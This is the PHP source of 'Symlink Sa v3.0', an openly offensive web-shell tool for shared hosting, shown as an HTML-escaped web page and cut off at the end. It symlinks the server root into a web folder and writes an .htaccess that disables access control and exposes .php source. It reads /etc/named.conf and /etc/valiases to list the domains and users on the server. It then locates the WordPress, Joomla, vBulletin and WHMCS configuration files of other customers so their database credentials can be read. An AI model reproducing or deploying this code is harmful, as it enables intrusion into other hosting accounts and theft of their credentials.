88&#39;  YP 88&#39;     d8P  Y8         88   I8I   88     d8P  Y8 .8P  Y8. 88&#39;YbdP`88&lt;br /&gt;
`8bo.   88ooooo 8P              88   I8I   88     8P      88    88 88  88  88&lt;br /&gt;
`Y8b. 88~~~~~ 8b      C8888D  Y8   I8I   88     8b      88    88 88  88  88&lt;br /&gt;
db   8D 88.     Y8b  d8         `8b d8&#39;8b d8&#39; db  Y8b  d8 `8b  d8&#39; 88  88  88&lt;br /&gt;
`8888Y&#39; Y88888P  `Y88P&#39;          `8b8&#39; `8d8&#39;  VP   `Y88P&#39;  `Y88P&#39;  YP  YP  YP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
author..............: s3n4t00r&lt;br /&gt;
home................:&lt;br /&gt;
twitter.............: @s3n4t00r&lt;br /&gt;
name tools..........: Symlink Sa v3.0&lt;br /&gt;
&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
set_time_limit(0);&lt;br /&gt;
error_reporting(0);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$pageURL = &#39;http://&#39;.$_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;];&lt;br /&gt;
$u = explode(&quot;/&quot;,$pageURL );&lt;br /&gt;
$pageURL =str_replace($u[count($u)-1],&quot;&quot;,$pageURL );&lt;br /&gt;
&lt;br /&gt;
$pageFTP = &#39;ftp://&#39;.$_SERVER[&quot;SERVER_NAME&quot;].&#39;/public_html/&#39;.$_SERVER[&quot;REQUEST_URI&quot;];&lt;br /&gt;
$u = explode(&quot;/&quot;,$pageFTP );&lt;br /&gt;
$pageFTP =str_replace($u[count($u)-1],&quot;&quot;,$pageFTP );&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;&lt;br /&gt;
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Symlink_Sa 3.0&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;style type=&quot;text/css&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
html,body {&lt;br /&gt;
margin: 0;&lt;br /&gt;
padding: 0;&lt;br /&gt;
outline: 0;&lt;br /&gt;
}&lt;br /&gt;
a{&lt;br /&gt;
&lt;br /&gt;
font-size: 13px;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
body {&lt;br /&gt;
direction: ltr;&lt;br /&gt;
background-color:#F4F4F4;&lt;br /&gt;
color: rgb(153, 153, 153);&lt;br /&gt;
text-align: center&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
input,textarea,select{&lt;br /&gt;
font-weight: bold;&lt;br /&gt;
color: #000000;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
input,textarea,select:hover{&lt;br /&gt;
box-shadow: 0px 0px 4px #AAAAAA;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
.hedr {&lt;br /&gt;
font-family: Tahoma, Arial, sans-serif  ;&lt;br /&gt;
font-size: 22px;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.cont a{&lt;br /&gt;
&lt;br /&gt;
text-decoration: none;&lt;br /&gt;
color:rgb(153, 153, 153);&lt;br /&gt;
font-family: Tahoma, Arial, sans-serif  ;&lt;br /&gt;
font-size: 16px;&lt;br /&gt;
text-shadow: 0px 0px 3px ;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.cont a:hover{&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
color: #EEEEEE ;&lt;br /&gt;
text-shadow:0px 0px 3px #000000 ;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.tmp tr td{&lt;br /&gt;
&lt;br /&gt;
border: solid 1px #BBBBBB;&lt;br /&gt;
&lt;br /&gt;
padding: 2px ;&lt;br /&gt;
font-size: 13px;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.tmp tr td a {&lt;br /&gt;
text-decoration: none;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.foter{&lt;br /&gt;
font-size: 9pt;&lt;br /&gt;
color: #AAAAAA ;&lt;br /&gt;
text-align: center&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.tmp tr td:hover{&lt;br /&gt;
&lt;br /&gt;
box-shadow: 0px 0px 4px #888888;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
.fot{&lt;br /&gt;
&lt;br /&gt;
font-family:Tahoma, Arial, sans-serif;&lt;br /&gt;
&lt;br /&gt;
font-size: 11pt;&lt;br /&gt;
}&lt;br /&gt;
.for a : hover{&lt;br /&gt;
&lt;br /&gt;
text-shadow: 0px 0px 1px #3366FF;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
.ir {&lt;br /&gt;
color: #FF0000;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/style&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&#39;all&#39;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
@mkdir(&#39;sym&#39;,0777);&lt;br /&gt;
$htcs  = &quot;Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any&quot;;&lt;br /&gt;
$f =@fopen (&#39;sym/.htaccess&#39;,&#39;w&#39;);&lt;br /&gt;
fwrite($f , $htcs);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@symlink(&quot;/&quot;,&quot;sym/root&quot;);&lt;br /&gt;
&lt;br /&gt;
$pg = basename(__FILE__);&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;br /&amp;gt;&amp;lt;div class=&quot;hedr&quot;&amp;gt; Symlink Sa 3.0 &amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#39; ;&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;br /&amp;gt;&amp;lt;div class=&quot;hedr&quot;&amp;gt;-:[ User &amp;amp; Domains &amp;amp; Symlink ]:-&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#39; ;&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;div class=&quot;cont&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[&amp;lt;a href=&quot;?&quot;&amp;gt; Home &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[&amp;lt;a href=&quot;?sws=sym&quot;&amp;gt; User &amp;amp; Domains &amp;amp; Symlink &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[&amp;lt;a href=&quot;?sws=sec&quot;&amp;gt; Domains &amp;amp; Script &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=file&quot;&amp;gt; Symlink File &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[&amp;lt;a href=&quot;?sws=passwd&quot;&amp;gt; Symlink Bypass &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=read&quot;&amp;gt; Bypass Read &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=joomla&quot;&amp;gt; Mass Joomla &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=wp&quot;&amp;gt; Mass WordPress &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=vb&quot;&amp;gt; Mass vBulletin &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
[ &amp;lt;a href=&quot;?sws=help&quot;&amp;gt; Help &amp;lt;/a&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&#39;;&lt;br /&gt;
&lt;br /&gt;
if(isset($_REQUEST[&#39;sws&#39;]))&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
switch ($_REQUEST[&#39;sws&#39;])&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/// Domains + Scripts  ///&lt;br /&gt;
&lt;br /&gt;
case &#39;sec&#39;:&lt;br /&gt;
&lt;br /&gt;
if(!@is_file(&#39;named.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;/etc/named.conf&quot;);&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;named.txt&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
if(!$d00m)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;0; url=?sws=read&#39;/&amp;gt;&quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; Domains &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Script &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
foreach($d00m as $dom){&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if(eregi(&quot;zone&quot;,$dom)){&lt;br /&gt;
&lt;br /&gt;
@preg_match_all(&#39;#zone &quot;(.*)&quot;#&#39;, $dom, $domsws);&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
if(@strlen(trim($domsws[1][0])) &amp;gt; 2){&lt;br /&gt;
&lt;br /&gt;
$user = @posix_getpwuid(@fileowner(&quot;/etc/valiases/&quot;.$domsws[1][0]));&lt;br /&gt;
&lt;br /&gt;
///////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$wpl=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/wp-config.php&quot;;&lt;br /&gt;
$wpp=@get_headers($wpl);&lt;br /&gt;
$wp=$wpp[0];&lt;br /&gt;
&lt;br /&gt;
$wp2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/blog/wp-config.php&quot;;&lt;br /&gt;
$wpp2=@get_headers($wp2);&lt;br /&gt;
$wp12=$wpp2[0];&lt;br /&gt;
&lt;br /&gt;
///////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$jo1=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/configuration.php&quot;;&lt;br /&gt;
$joo=@get_headers($jo1);&lt;br /&gt;
$jo=$joo[0];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$jo2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/joomla/configuration.php&quot;;&lt;br /&gt;
$joo2=@get_headers($jo2);&lt;br /&gt;
$jo12=$joo2[0];&lt;br /&gt;
&lt;br /&gt;
////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$vb1=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/includes/config.php&quot;;&lt;br /&gt;
$vbb=@get_headers($vb1);&lt;br /&gt;
$vb=$vbb[0];&lt;br /&gt;
&lt;br /&gt;
$vb2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/vb/includes/config.php&quot;;&lt;br /&gt;
$vbb2=@get_headers($vb2);&lt;br /&gt;
$vb12=$vbb2[0];&lt;br /&gt;
&lt;br /&gt;
$vb3=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/forum/includes/config.php&quot;;&lt;br /&gt;
$vbb3=@get_headers($vb3);&lt;br /&gt;
$vb13=$vbb3[0];&lt;br /&gt;
&lt;br /&gt;
/////////////////&lt;br /&gt;
&lt;br /&gt;
$wh1=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;public_html/clients/configuration.php&quot;;&lt;br /&gt;
$whh2= @get_headers($wh1);&lt;br /&gt;
$wh=$whh2[0];&lt;br /&gt;
&lt;br /&gt;
$wh2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/support/configuration.php&quot;;&lt;br /&gt;
$whh2= @get_headers($wh2);&lt;br /&gt;
$wh12=$whh2[0];&lt;br /&gt;
&lt;br /&gt;
$wh3=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/client/configuration.php&quot;;&lt;br /&gt;
$whh3= @get_headers($wh3);&lt;br /&gt;
$wh13=$whh3[0];&lt;br /&gt;
&lt;br /&gt;
$wh5=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/submitticket.php&quot;;&lt;br /&gt;
$whh5= @get_headers($wh5);&lt;br /&gt;
$wh15=$whh5[0];&lt;br /&gt;
&lt;br /&gt;
$wh4=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/client/configuration.php&quot;;&lt;br /&gt;
$whh4= @get_headers($wh4);&lt;br /&gt;
$wh14=$whh4[0];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
////////// Wordpress ////////////&lt;br /&gt;
&lt;br /&gt;
$pos = strpos($wp, &quot;200&quot;);&lt;br /&gt;
$config=&quot;&amp;amp;nbsp;&quot;;&lt;br /&gt;
&lt;br /&gt;
if (strpos($wp, &quot;200&quot;) == true )&lt;br /&gt;
{&lt;br /&gt;
$config=&quot;&amp;lt;a href=&#39;&quot;.$wpl.&quot;&#39; target=&#39;_blank&#39;&amp;gt;Wordpress&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp12, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot;&amp;lt;a href=&#39;&quot;.$wp2.&quot;&#39; target=&#39;_blank&#39;&amp;gt;Wordpress&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
///////////WHMCS////////&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($jo, &quot;200&quot;)  == true and strpos($wh15, &quot;200&quot;)  == true )&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$wh5.&quot;&#39; target=&#39;_blank&#39;&amp;gt;WHMCS&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wh12, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config =&quot; &amp;lt;a href=&#39;&quot;.$wh2.&quot;&#39; target=&#39;_blank&#39;&amp;gt;WHMCS&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($wh13, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config =&quot; &amp;lt;a href=&#39;&quot;.$wh3.&quot;&#39; target=&#39;_blank&#39;&amp;gt;WHMCS&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
///////// Joomla to 4 ///////////&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($jo, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$jo1.&quot;&#39; target=&#39;_blank&#39;&amp;gt;Joomla&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($jo12, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$jo2.&quot;&#39; target=&#39;_blank&#39;&amp;gt;Joomla&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//////////vBulletin to 4 ///////////&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($vb, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$vb1.&quot;&#39; target=&#39;_blank&#39;&amp;gt;vBulletin&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($vb12, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$vb2.&quot;&#39; target=&#39;_blank&#39;&amp;gt;vBulletin&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
elseif (strpos($vb13, &quot;200&quot;)  == true)&lt;br /&gt;
{&lt;br /&gt;
$config=&quot; &amp;lt;a href=&#39;&quot;.$vb3.&quot;&#39; target=&#39;_blank&#39;&amp;gt;vBulletin&amp;lt;/a&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
continue;&lt;br /&gt;
}&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
/////////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$site = $user[&#39;name&#39;] ;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=http://www.&quot;.$domsws[1][0].&quot;/&amp;gt;&quot;.$domsws[1][0].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&quot;.$config.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;; flush();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/// user + domine + symlink  ///&lt;br /&gt;
&lt;br /&gt;
case &#39;sym&#39;:&lt;br /&gt;
&lt;br /&gt;
if(!is_file(&#39;named.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;/etc/named.conf&quot;);&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;named.txt&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
if(!$d00m)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;0; url=?sws=read&#39;/&amp;gt;&quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt;Domains&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Users&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;symlink &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
foreach($d00m as $dom){&lt;br /&gt;
&lt;br /&gt;
if(eregi(&quot;zone&quot;,$dom)){&lt;br /&gt;
&lt;br /&gt;
preg_match_all(&#39;#zone &quot;(.*)&quot;#&#39;, $dom, $domsws);&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
if(strlen(trim($domsws[1][0])) &amp;gt; 2){&lt;br /&gt;
&lt;br /&gt;
$user = posix_getpwuid(@fileowner(&quot;/etc/valiases/&quot;.$domsws[1][0]));&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$site = $user[&#39;name&#39;] ;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@symlink(&quot;/&quot;,&quot;sym/root&quot;);&lt;br /&gt;
&lt;br /&gt;
$site = $domsws[1][0];&lt;br /&gt;
&lt;br /&gt;
$ir = &#39;ir&#39;;&lt;br /&gt;
&lt;br /&gt;
$il = &#39;il&#39;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match(&quot;/.^$ir/&quot;,$domsws[1][0]) or preg_match(&quot;/.^$il/&quot;,$domsws[1][0]) )&lt;br /&gt;
{&lt;br /&gt;
$site = &quot;&amp;lt;div style=&#39; color: #FF0000 ; text-shadow: 0px 0px 1px red; &#39;&amp;gt;&quot;.$domsws[1][0].&quot;&amp;lt;/div&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&amp;lt;div class=&#39;dom&#39;&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=http://www.&quot;.$domsws[1][0].&quot;/&amp;gt;&quot;.$site.&quot; &amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&quot;.$user[&#39;name&#39;].&quot;&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&amp;lt;a href=&#39;sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html&#39; target=&#39;_blank&#39;&amp;gt;symlink &amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/tr&amp;gt;&amp;lt;/div&amp;gt; &quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/// file  symlink ///&lt;br /&gt;
&lt;br /&gt;
case &#39;file&#39;:&lt;br /&gt;
&lt;br /&gt;
echo&#39;&lt;br /&gt;
The file path to symlink&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;form method=&quot;post&quot;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&quot;text&quot; name=&quot;file&quot; value=&quot;/home/user/public_html/file.name&quot; size=&quot;60&quot;/&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;input type=&quot;text&quot; name=&quot;symfile&quot; value=&quot;file.name_sym ( Ex. :: royaliste.txt )&quot; size=&quot;60&quot;/&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;input type=&quot;submit&quot; value=&quot;symlink&quot; name=&quot;symlink&quot; /&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&#39;;&lt;br /&gt;
&lt;br /&gt;
$pfile = $_POST[&#39;file&#39;];&lt;br /&gt;
$symfile = $_POST[&#39;symfile&#39;];&lt;br /&gt;
$symlink = $_POST[&#39;symlink&#39;];&lt;br /&gt;
&lt;br /&gt;
if ($symlink)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@mkdir(&#39;sym1&#39;,0777);&lt;br /&gt;
$c  = &quot;Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n  AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any&quot;;&lt;br /&gt;
$f =@fopen (&#39;sym1/.htaccess&#39;,&#39;w&#39;);&lt;br /&gt;
@fwrite($f , $c);&lt;br /&gt;
&lt;br /&gt;
@symlink(&quot;$pfile&quot;,&quot;sym1/$symfile&quot;);&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;br /&amp;gt;&amp;lt;a target=&quot;_blank&quot; href=&quot;sym1/&#39;.$symfile.&#39;&quot; &amp;gt;&#39;.$symfile.&#39;&amp;lt;/a&amp;gt;&#39;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
/// bypass read&lt;br /&gt;
&lt;br /&gt;
case &#39;read&#39;:&lt;br /&gt;
&lt;br /&gt;
echo &quot;read /etc/named.conf&quot;;&lt;br /&gt;
echo &quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;form method=&#39;post&#39; action=&#39;?sws=read&amp;amp;save=1&#39;&amp;gt;&amp;lt;textarea cols=&#39;80&#39; rows=&#39;20&#39; name=&#39;file&#39;&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$file = &#39;/etc/named.conf&#39;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$r3ad = @fopen($file, &#39;r&#39;);&lt;br /&gt;
if ($r3ad){&lt;br /&gt;
$content = @fread($r3ad, @filesize($file));&lt;br /&gt;
echo &quot;&quot;.htmlentities($content).&quot;&quot;;&lt;br /&gt;
}&lt;br /&gt;
else if (!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
$r3ad = @show_source($file) ;&lt;br /&gt;
}&lt;br /&gt;
else if (!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
$r3ad = @highlight_file($file);&lt;br /&gt;
}&lt;br /&gt;
else if (!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
$sm = @symlink($file,&#39;sym.txt&#39;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if ($sm){&lt;br /&gt;
$r3ad = @fopen(&#39;sym/sym.txt&#39;, &#39;r&#39;);&lt;br /&gt;
$content = @fread($r3ad, @filesize($file));&lt;br /&gt;
echo &quot;&quot;.htmlentities($content).&quot;&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input  type=&#39;submit&#39; value=&#39;Save&#39;/&amp;gt; &amp;lt;/form&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&#39;save&#39;])){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$cont = stripcslashes($_POST[&#39;file&#39;]);&lt;br /&gt;
&lt;br /&gt;
$f = fopen(&#39;named.txt&#39;,&#39;w&#39;);&lt;br /&gt;
&lt;br /&gt;
$w = fwrite($f,$cont);&lt;br /&gt;
&lt;br /&gt;
if($w){&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;br /&amp;gt;save has been successfully&#39;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
fclose($f);&lt;br /&gt;
&lt;br /&gt;
